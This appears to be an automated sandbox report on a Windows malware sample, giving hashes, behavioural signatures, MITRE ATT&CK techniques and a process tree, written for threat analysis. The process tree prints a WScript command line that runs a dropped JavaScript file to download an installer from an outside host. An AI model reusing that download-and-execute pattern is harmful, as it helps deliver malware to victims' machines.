ad05f7bcea55b5f51d0c62bb0741d20ddac26ceea4247b821f594a24cdbb4a19

Analysis

max time kernel
166s
max time network
191s
platform
windows10-2004_x64
resource
win10v2004-20221111-en
resource tags

arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
submitted
28/11/2022, 06:24

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General

Target

ad05f7bcea55b5f51d0c62bb0741d20ddac26ceea4247b821f594a24cdbb4a19.exe
Size

184KB
MD5

7e8b823cd891cdf4f674c7e24eaef1d0
SHA1

4850743b509cf017c5cdaa0453cd2af922504478
SHA256

ad05f7bcea55b5f51d0c62bb0741d20ddac26ceea4247b821f594a24cdbb4a19
SHA512

cf6e2dfdf7cb541c971e8d9d070ff2969e96b8f75b1843a43f29f1d622b311cc5ebf9d6432eee9009166df9865301eb92de3bdcbe36555dc7ec57ae2521d1c45
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3D:/7BSH8zUB+nGESaaRvoB7FJNndny

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 8 IoCs

flow	pid	Process
28	4220	WScript.exe
57	4220	WScript.exe
76	4220	WScript.exe
92	4220	WScript.exe
113	1296	WScript.exe
114	1296	WScript.exe
120	3184	WScript.exe
121	3184	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	ad05f7bcea55b5f51d0c62bb0741d20ddac26ceea4247b821f594a24cdbb4a19.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000_Classes\Local Settings	ad05f7bcea55b5f51d0c62bb0741d20ddac26ceea4247b821f594a24cdbb4a19.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	113	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	120	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 1244 wrote to memory of 4220	1244	ad05f7bcea55b5f51d0c62bb0741d20ddac26ceea4247b821f594a24cdbb4a19.exe	82
PID 1244 wrote to memory of 4220	1244	ad05f7bcea55b5f51d0c62bb0741d20ddac26ceea4247b821f594a24cdbb4a19.exe	82
PID 1244 wrote to memory of 4220	1244	ad05f7bcea55b5f51d0c62bb0741d20ddac26ceea4247b821f594a24cdbb4a19.exe	82
PID 1244 wrote to memory of 1296	1244	ad05f7bcea55b5f51d0c62bb0741d20ddac26ceea4247b821f594a24cdbb4a19.exe	94
PID 1244 wrote to memory of 1296	1244	ad05f7bcea55b5f51d0c62bb0741d20ddac26ceea4247b821f594a24cdbb4a19.exe	94
PID 1244 wrote to memory of 1296	1244	ad05f7bcea55b5f51d0c62bb0741d20ddac26ceea4247b821f594a24cdbb4a19.exe	94
PID 1244 wrote to memory of 3184	1244	ad05f7bcea55b5f51d0c62bb0741d20ddac26ceea4247b821f594a24cdbb4a19.exe	96
PID 1244 wrote to memory of 3184	1244	ad05f7bcea55b5f51d0c62bb0741d20ddac26ceea4247b821f594a24cdbb4a19.exe	96
PID 1244 wrote to memory of 3184	1244	ad05f7bcea55b5f51d0c62bb0741d20ddac26ceea4247b821f594a24cdbb4a19.exe	96

C:\Users\Admin\AppData\Local\Temp\ad05f7bcea55b5f51d0c62bb0741d20ddac26ceea4247b821f594a24cdbb4a19.exe
"C:\Users\Admin\AppData\Local\Temp\ad05f7bcea55b5f51d0c62bb0741d20ddac26ceea4247b821f594a24cdbb4a19.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1244
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf349D.js" http://www.djapp.info/?domain=VLNiAWMKza.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf349D.exe
  2⤵
  - Blocklisted process makes network request
  PID:4220
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf349D.js" http://www.djapp.info/?domain=VLNiAWMKza.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf349D.exe
  2⤵
  - Blocklisted process makes network request
  PID:1296
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf349D.js" http://www.djapp.info/?domain=VLNiAWMKza.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf349D.exe
  2⤵
  - Blocklisted process makes network request
  PID:3184

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf349D.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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